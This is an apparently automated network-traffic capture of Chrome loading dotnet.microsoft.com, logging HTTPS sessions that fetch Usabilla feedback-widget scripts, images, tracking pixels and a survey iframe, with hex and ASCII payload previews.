2024-11-23 20:11:42 UTC	2174	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 d8 08 03 00 00 00 6c 82 15 c2 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 02 c4 50 4c 54 45 4c 69 71 51 2b d4 52 29 d6 4e 27 d8 50 2b d4 51 2b d5 51 2b d5 51 2b d4 55 39 c6 51 2b d5 51 2b d4 51 2b d4 51 2b d4 49 24 db 51 2b d5 53 2c d3 55 2f d0 51 2b d4 51 2b d4 60 20 df 51 2b d4 53 2b d4 51 2b d5 52 2b d4 52 2b d4 51 2b d4 ff ff ff f2 ef fc fd fd fe c6 ba f1 93 7b e4 fe fe ff fc fc fe fb fa fe f7 f6 fd 52 2c d4 f0 ed fb f1 ee fb 93 7c e4 e6 e1 f9 94 7c e5 53 2d d5 ca be f2 f8 f7 fd bb ad ee fa f8 fe b9 a9 ee f5 f3 fc 56 32 d5 5a 36 d6 d1 c7 f4 f5 f3 fd 72 54 dc 59 35 d6 64 42 d9 e6 e0 f9 ed e9 fa 8f 77 e3 d4 cb f4 ac 9a eb f3 f1 fc 5d 3a Data Ascii: PNGIHDR@lgAMAasRGBPLTELiqQ+R)N'P+Q+Q+Q+U9Q+Q+Q+Q+I$Q+S,U/Q+Q+` Q+S+Q+R+R+Q+{R,\|\|S-V2Z6rTY5dBw]:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.4	49801	108.158.71.127	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:41 UTC	613	OUT	GET /live/scripts/campaign-include/a5f669c28be1979ab5e2785121a6e10b/v2/slideout.coffee HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://dotnet.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:43 UTC	543	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 9404 Connection: close Date: Sat, 23 Nov 2024 20:11:43 GMT Last-Modified: Tue, 28 Feb 2023 08:55:01 GMT ETag: "a0bbca44d6ea98453e7b1140ac61f8a0" x-amz-server-side-encryption: AES256 x-amz-version-id: yBzJZUAtQnDOQzu0QliAA1BBM1wv9rwa Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 eb2f49b78dae5a2d3df4afb2aa3e99b6.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: YXrT3k4g6ihBjs-il9xjde43r4U7VFpNphXRYNAWy4bl2gVBTuYFYw==
2024-11-23 20:11:43 UTC	9404	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6b 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 61 70 70 6c 79 28 61 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 3b 76 61 72 20 67 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 3b 76 61 72 20 68 3d 67 2e 64 6f 63 75 6d 65 6e 74 3b 76 61 72 20 6c 3d 6e 75 6c 6c 3b 76 61 72 20 6d 3d 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 2e 6f 6e 45 76 65 6e 74 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 61 2c 63 2c 64 2c 62 2c 66 29 7b 74 68 69 73 2e 6f 62 6a 3d 61 3b 74 68 69 73 2e 70 72 6f 70 65 72 74 79 3d 63 3b 74 68 69 73 2e 6f 66 66 3d 64 3b 74 68 69 73 2e 6f 6e 3d 62 3b 74 68 69 73 2e Data Ascii: (function(){var k=function(b,a){return function(){return b.apply(a,arguments)}};var g=window.parent;var h=g.document;var l=null;var m=window.usabilla_live.onEvent;var n=function(){function b(a,c,d,b,f){this.obj=a;this.property=c;this.off=d;this.on=b;this.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.4	49799	54.171.242.81	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:41 UTC	358	OUT	GET /71e348d38aa1.js?lv=1 HTTP/1.1 Host: w.usabilla.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:42 UTC	249	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:41 GMT Content-Type: text/javascript Transfer-Encoding: chunked Connection: close Cache-Control: public,max-age=0 Etag: "00f759f9cb266d4b511e037df8e1189c" Pragma: no-cache X-Widget-Server: 2.1
2024-11-23 20:11:42 UTC	3861	IN	Data Raw: 66 30 65 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 21 3d 77 69 6e 64 6f 77 26 26 28 77 69 6e 64 6f 77 2e 6c 69 67 68 74 6e 69 6e 67 6a 73 7c 7c 66 75 6e 63 74 69 6f 6e 28 64 2c 66 29 7b 76 61 72 20 65 3d 64 2e 6c 69 67 68 74 6e 69 6e 67 6a 73 3d 7b 6d 6f 64 75 6c 65 73 3a 66 2e 6d 6f 64 75 6c 65 73 7d 2c 72 3d 66 2e 6d 6f 64 75 6c 65 73 3b 65 2e 65 78 70 65 6e 73 69 76 65 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 62 2e 5f 77 61 69 74 66 6f 72 6c 6f 61 64 3d 21 30 3b 72 65 74 75 72 6e 20 62 7d 3b 76 6f 69 64 20 30 3b 65 2e 72 65 71 75 69 72 65 3d 66 2e 72 65 71 75 69 72 65 3b 65 2e 70 72 6f 76 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 6c 29 7b 66 75 6e 63 74 69 6f 6e 20 6d 28 29 7b 76 61 72 20 61 3d 64 2e 63 6f 6e 73 Data Ascii: f0e(function(){window.parent!=window&&(window.lightningjs\|\|function(d,f){var e=d.lightningjs={modules:f.modules},r=f.modules;e.expensive=function(b){b._waitforload=!0;return b};void 0;e.require=f.require;e.provide=function(b,l){function m(){var a=d.cons
2024-11-23 20:11:42 UTC	4089	IN	Data Raw: 66 66 32 0d 0a 66 75 6e 63 74 69 6f 6e 20 65 28 61 2c 62 2c 63 29 7b 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 62 2c 63 2c 21 31 29 3a 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 62 2c 63 29 7d 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 3d 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 2e 6f 6e 45 76 65 6e 74 3d 65 3b 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 2e 73 74 6f 70 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 61 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 61 2e 72 65 6d 6f 76 65 45 76 65 6e 74 4c 69 73 Data Ascii: ff2function e(a,b,c){a.addEventListener?a.addEventListener(b,c,!1):a.attachEvent("on"+b,c)}window.usabilla_live=window.usabilla_live\|\|{};window.usabilla_live.onEvent=e;window.usabilla_live.stopEvent=function(a,b,c){a.removeEventListener?a.removeEventLis
2024-11-23 20:11:42 UTC	15107	IN	Data Raw: 33 61 66 62 0d 0a 30 2c 64 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 29 29 3b 72 65 74 75 72 6e 20 64 7d 7d 2c 70 61 74 68 6e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3b 72 65 74 75 72 6e 28 28 6e 75 6c 6c 21 3d 28 61 3d 67 2e 6c 6f 63 61 74 69 6f 6e 29 3f 61 2e 70 61 74 68 6e 61 6d 65 3a 76 6f 69 64 20 30 29 7c 7c 22 22 29 2b 28 67 2e 6c 6f 63 61 74 69 6f 6e 2e 73 65 61 72 63 68 7c 7c 22 22 29 2b 28 67 2e 6c 6f 63 61 74 69 6f 6e 2e 68 61 73 68 7c 7c 22 22 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3b 72 65 74 75 72 6e 28 6e 75 6c 6c 21 3d 28 61 3d 67 2e 6c 6f 63 61 74 69 6f 6e 29 3f 61 2e 70 61 74 68 6e 61 6d 65 3a 76 6f 69 64 20 30 29 7c 7c 22 22 7d 7d 7d 3b 72 Data Ascii: 3afb0,d.indexOf("?")));return d}},pathname:function(a){return a?function(){var a;return((null!=(a=g.location)?a.pathname:void 0)\|\|"")+(g.location.search\|\|"")+(g.location.hash\|\|"")}:function(){var a;return(null!=(a=g.location)?a.pathname:void 0)\|\|""}}};r
2024-11-23 20:11:42 UTC	9563	IN	Data Raw: 32 35 35 33 0d 0a 22 3a 22 68 72 65 66 22 2c 22 71 75 65 72 79 22 3a 74 72 75 65 2c 22 69 6e 76 65 72 74 22 3a 66 61 6c 73 65 2c 22 72 65 67 65 78 70 22 3a 22 28 5e 68 74 74 70 73 5c 5c 3a 5c 2f 5c 2f 64 6f 74 6e 65 74 5c 5c 2e 6d 69 63 72 6f 73 6f 66 74 5c 5c 2e 63 6f 6d 5c 2f 6a 61 5c 5c 2d 6a 70 5c 2f 6c 65 61 72 6e 24 29 22 7d 2c 7b 22 74 79 70 65 22 3a 22 75 72 6c 22 2c 22 6d 61 74 63 68 22 3a 22 68 72 65 66 22 2c 22 71 75 65 72 79 22 3a 74 72 75 65 2c 22 69 6e 76 65 72 74 22 3a 66 61 6c 73 65 2c 22 72 65 67 65 78 70 22 3a 22 28 5e 68 74 74 70 73 5c 5c 3a 5c 2f 5c 2f 64 6f 74 6e 65 74 5c 5c 2e 6d 69 63 72 6f 73 6f 66 74 5c 5c 2e 63 6f 6d 5c 2f 7a 68 5c 5c 2d 63 6e 5c 2f 6c 65 61 72 6e 24 29 22 7d 2c 7b 22 74 79 70 65 22 3a 22 75 72 6c 22 2c 22 6d 61 Data Ascii: 2553":"href","query":true,"invert":false,"regexp":"(^https\\:\/\/dotnet\\.microsoft\\.com\/ja\\-jp\/learn$)"},{"type":"url","match":"href","query":true,"invert":false,"regexp":"(^https\\:\/\/dotnet\\.microsoft\\.com\/zh\\-cn\/learn$)"},{"type":"url","ma
2024-11-23 20:11:42 UTC	8172	IN	Data Raw: 31 66 65 34 0d 0a 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 64 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 64 6f 63 75 6d 65 6e 74 3b 66 75 6e 63 74 69 6f 6e 20 65 28 61 2c 62 2c 63 29 7b 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 3f 61 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 62 2c 63 2c 21 31 29 3a 61 2e 61 74 74 61 63 68 45 76 65 6e 74 28 22 6f 6e 22 2b 62 2c 63 29 7d 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 3d 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 7c 7c 7b 7d 3b 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 2e 6f 6e 45 76 65 6e 74 3d 65 3b 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 2e 73 74 6f 70 45 76 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 Data Ascii: 1fe4(function(){var d=window.parent.document;function e(a,b,c){a.addEventListener?a.addEventListener(b,c,!1):a.attachEvent("on"+b,c)}window.usabilla_live=window.usabilla_live\|\|{};window.usabilla_live.onEvent=e;window.usabilla_live.stopEvent=function(a,b
2024-11-23 20:11:42 UTC	96	IN	Data Raw: 35 61 0d 0a 63 75 73 74 6f 6d 4f 70 74 69 6f 6e 43 6c 69 63 6b 3d 61 7d 2c 73 65 74 49 6e 74 65 67 72 61 74 69 6f 6e 44 61 74 61 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 6e 2e 6c 6f 63 61 6c 5f 64 61 74 61 2e 69 6e 74 65 67 72 61 74 69 6f 6e 73 3d 61 7d 7d 29 7d 3b 0a 7d 29 28 29 3b 0d 0a Data Ascii: 5acustomOptionClick=a},setIntegrationData:function(a){n.local_data.integrations=a}})};})();
2024-11-23 20:11:42 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.4	49802	108.158.71.51	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:44 UTC	427	OUT	GET /themes/production/microsoft-net-button-bd8edd6aee4a2cdd05bc7f6ed668f1d6.png HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:45 UTC	593	IN	HTTP/1.1 200 OK Content-Type: image/png Content-Length: 2174 Connection: close Date: Sat, 23 Nov 2024 20:11:46 GMT Last-Modified: Fri, 02 Dec 2022 15:04:46 GMT ETag: "bd8edd6aee4a2cdd05bc7f6ed668f1d6" x-amz-server-side-encryption: AES256 Cache-Control: max-age=315360000, no-transform, public x-amz-version-id: V20rrCmiFxceoks5UsO5QxekQ_Hunnz_ Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 b3f2c9fac65d5d983576fdae503018ba.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: KjZ3EMVZfDI29DE6o0fhAOGgpcnAjmjxJg87tYIhaDJAVPklvtMx6w==
2024-11-23 20:11:45 UTC	2174	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 40 00 00 00 d8 08 03 00 00 00 6c 82 15 c2 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 01 73 52 47 42 00 ae ce 1c e9 00 00 02 c4 50 4c 54 45 4c 69 71 51 2b d4 52 29 d6 4e 27 d8 50 2b d4 51 2b d5 51 2b d5 51 2b d4 55 39 c6 51 2b d5 51 2b d4 51 2b d4 51 2b d4 49 24 db 51 2b d5 53 2c d3 55 2f d0 51 2b d4 51 2b d4 60 20 df 51 2b d4 53 2b d4 51 2b d5 52 2b d4 52 2b d4 51 2b d4 ff ff ff f2 ef fc fd fd fe c6 ba f1 93 7b e4 fe fe ff fc fc fe fb fa fe f7 f6 fd 52 2c d4 f0 ed fb f1 ee fb 93 7c e4 e6 e1 f9 94 7c e5 53 2d d5 ca be f2 f8 f7 fd bb ad ee fa f8 fe b9 a9 ee f5 f3 fc 56 32 d5 5a 36 d6 d1 c7 f4 f5 f3 fd 72 54 dc 59 35 d6 64 42 d9 e6 e0 f9 ed e9 fa 8f 77 e3 d4 cb f4 ac 9a eb f3 f1 fc 5d 3a Data Ascii: PNGIHDR@lgAMAasRGBPLTELiqQ+R)N'P+Q+Q+Q+U9Q+Q+Q+Q+I$Q+S,U/Q+Q+` Q+S+Q+R+R+Q+{R,\|\|S-V2Z6rTY5dBw]:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.4	49803	52.208.202.206	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:45 UTC	636	OUT	GET /a/t?m=c&b=71e348d38aa1&c=47b85342850e&e=a&cb=1732392702680 HTTP/1.1 Host: w.usabilla.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://dotnet.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:45 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:45 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-cache Expires: Tue, 6 Aug 1991 14:56:20 GMT Pragma: no-cache
2024-11-23 20:11:45 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
46	192.168.2.4	49804	108.158.71.51	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:45 UTC	433	OUT	GET /live/scripts/campaign-include/a5f669c28be1979ab5e2785121a6e10b/v2/slideout.coffee HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:46 UTC	543	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 9404 Connection: close Date: Sat, 23 Nov 2024 20:11:47 GMT Last-Modified: Tue, 28 Feb 2023 08:55:01 GMT ETag: "a0bbca44d6ea98453e7b1140ac61f8a0" x-amz-server-side-encryption: AES256 x-amz-version-id: yBzJZUAtQnDOQzu0QliAA1BBM1wv9rwa Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 cc7817394ecf8a11385b5cd3569958f0.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: aukRVnLfPryZntdgq7pchUcD1P7538C7BjE262zAvN7IPi3q_Pf9xA==
2024-11-23 20:11:46 UTC	9404	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 6b 3d 66 75 6e 63 74 69 6f 6e 28 62 2c 61 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 2e 61 70 70 6c 79 28 61 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 3b 76 61 72 20 67 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 3b 76 61 72 20 68 3d 67 2e 64 6f 63 75 6d 65 6e 74 3b 76 61 72 20 6c 3d 6e 75 6c 6c 3b 76 61 72 20 6d 3d 77 69 6e 64 6f 77 2e 75 73 61 62 69 6c 6c 61 5f 6c 69 76 65 2e 6f 6e 45 76 65 6e 74 3b 76 61 72 20 6e 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 61 2c 63 2c 64 2c 62 2c 66 29 7b 74 68 69 73 2e 6f 62 6a 3d 61 3b 74 68 69 73 2e 70 72 6f 70 65 72 74 79 3d 63 3b 74 68 69 73 2e 6f 66 66 3d 64 3b 74 68 69 73 2e 6f 6e 3d 62 3b 74 68 69 73 2e Data Ascii: (function(){var k=function(b,a){return function(){return b.apply(a,arguments)}};var g=window.parent;var h=g.document;var l=null;var m=window.usabilla_live.onEvent;var n=function(){function b(a,c,d,b,f){this.obj=a;this.property=c;this.off=d;this.on=b;this.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
47	192.168.2.4	49805	108.158.71.166	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:45 UTC	783	OUT	GET /live/i/5b05b10e10f3d3749a56ff54/c12bb78e35a84ab0c6f6932296f17644e93b092f.html?tags=right HTTP/1.1 Host: d6tizftlrpuof.cloudfront.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://dotnet.microsoft.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:47 UTC	594	IN	HTTP/1.1 200 OK Content-Type: text/html; charset=UTF-8 Content-Length: 32214 Connection: close Date: Sat, 23 Nov 2024 20:11:47 GMT Last-Modified: Tue, 18 Jun 2024 22:28:34 GMT ETag: "313c7dbac880d707704283f453f29bbe" x-amz-server-side-encryption: AES256 Cache-Control: public, max-age=86400000 x-amz-version-id: w89SFxDWQorN2wWI_XfNFtEvh2_3LC24 Accept-Ranges: bytes Server: AmazonS3 X-Cache: Miss from cloudfront Via: 1.1 c0756b6fa47b5825ec117ce8b50151c2.cloudfront.net (CloudFront) X-Amz-Cf-Pop: BAH53-P2 X-Amz-Cf-Id: HYlW1xqMyMQ4mKefhS_9gLX_yVZTwcRIbyxUM0w6A38sIk2FNOyA9A==
2024-11-23 20:11:47 UTC	16384	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6e 67 2d 61 70 70 3d 22 70 6f 6c 6c 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a 20 20 20 20 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 74 79 6c 65 73 68 65 65 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 64 36 74 69 7a 66 74 6c 72 70 75 6f 66 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 70 72 6f 64 75 63 74 69 6f 6e 2f 6d 69 63 72 6f 73 6f 66 74 2d 6e 65 74 2d 6e 65 74 2d 74 68 Data Ascii: <!DOCTYPE html><html ng-app="poll" lang="en-US"><head> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1"> <link rel="stylesheet" href="https://d6tizftlrpuof.cloudfront.net/themes/production/microsoft-net-net-th
2024-11-23 20:11:47 UTC	1066	IN	Data Raw: 3b 54 68 69 73 20 66 69 65 6c 64 20 69 73 20 72 65 71 75 69 72 65 64 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 74 69 74 6c 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 6f 6e 74 69 6e 75 65 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 61 6e 63 65 6c 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 61 6e 63 65 6c 26 71 75 6f 74 3b 7d 5d 2c 26 71 75 6f 74 3b 6a 75 6d 70 26 71 75 6f 74 3b 3a 6e 75 6c 6c 2c 26 71 75 6f 74 3b 6a 75 6d 70 52 75 6c 65 73 26 71 75 6f 74 3b 3a 5b 5d 2c 26 71 75 6f 74 3b 61 75 74 6f 53 75 62 6d 69 74 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 6e 61 6d 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 45 64 69 74 6f 72 73 26 71 75 6f 74 3b 7d 2c 7b 26 71 75 6f 74 3b 74 79 70 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 66 6f 72 6d 26 71 75 6f 74 Data Ascii: ;This field is required","title":"Continue","cancel":"Cancel"}],"jump":null,"jumpRules":[],"autoSubmit":true,"name":"Editors"},{"type":"form&quot
2024-11-23 20:11:47 UTC	14764	IN	Data Raw: 6f 6f 73 65 20 61 6e 20 6f 70 74 69 6f 6e 26 71 75 6f 74 3b 7d 2c 7b 26 71 75 6f 74 3b 74 79 70 65 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 63 68 65 63 6b 62 6f 78 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 63 61 70 74 69 6f 6e 26 71 75 6f 74 3b 3a 26 71 75 6f 74 3b 43 68 65 63 6b 62 6f 78 65 73 26 71 75 6f 74 3b 2c 26 71 75 6f 74 3b 61 75 74 6f 53 75 62 6d 69 74 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 66 6f 72 63 65 52 65 71 75 69 72 65 64 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 66 69 78 65 64 26 71 75 6f 74 3b 3a 66 61 6c 73 65 2c 26 71 75 6f 74 3b 69 6e 74 65 72 61 63 74 69 76 65 26 71 75 6f 74 3b 3a 74 72 75 65 2c 26 71 75 6f 74 3b 73 68 6f 77 48 69 64 65 52 75 6c 65 26 71 75 6f 74 3b 3a 5b 5d 2c 26 71 75 6f 74 3b 76 61 6c Data Ascii: oose an option"},{"type":"checkbox","caption":"Checkboxes","autoSubmit":false,"forceRequired":false,"fixed":false,"interactive":true,"showHideRule":[],"val

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.4	49806	54.171.242.81	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-23 20:11:47 UTC	396	OUT	GET /a/t?m=c&b=71e348d38aa1&c=47b85342850e&e=a&cb=1732392702680 HTTP/1.1 Host: w.usabilla.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-23 20:11:47 UTC	211	IN	HTTP/1.1 200 OK Date: Sat, 23 Nov 2024 20:11:47 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: private, no-cache Expires: Tue, 6 Aug 1991 14:56:20 GMT Pragma: no-cache
2024-11-23 20:11:47 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 ff 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	49807	108.158.71.166	443	6948	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
